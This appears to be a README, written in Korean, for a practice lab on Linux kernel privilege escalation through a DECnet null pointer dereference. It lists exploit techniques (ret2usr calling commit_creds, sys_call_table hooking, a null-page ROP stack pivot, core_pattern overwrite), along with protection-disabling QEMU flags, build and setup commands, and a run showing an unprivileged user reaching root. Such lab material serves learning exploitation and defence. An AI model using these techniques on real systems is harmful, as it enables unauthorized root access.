
리눅스 커널 LPE 실습 - NPD 취약점을 이용한
DECnet 취약점과 널 페이지 매핑을 활성화하여 다양한 리눅스 커널 익스플로잇 기술을 연습합니다.
모든 보호 비활성화: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
코드 실행이 유저랜드의 output 함수로 리디렉션되며, 이 함수는 commit_creds(prepare_kernel_cred(0))를 호출합니다.
시스템 콜 후킹
mkdir 시스템 콜 핸들러 주소를 sys_call_table 내에서 시나리오 1과 유사한 함수로 교체합니다.
SMEP 및 KPTI 활성화: qemu-system-x86_64 -append "nosmap nokaslr"
코드 실행이 _$rsp_를 널 페이지의 ROP 체인으로 설정하는 스택 피벗으로 리디렉션됩니다.
유저모드 헬퍼
core_pattern sysctl이 덮어씌워져 코어 덤프 시 상승된 권한으로 실행할 명령어를 지정합니다.
그런 다음 프로그램이 SIGABRT 신호로 중단되어 유저모드 스크립트를 트리거합니다.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
루트로 DECnet 구성:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
권한이 없는 사용자로 익스플로잇 실행:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#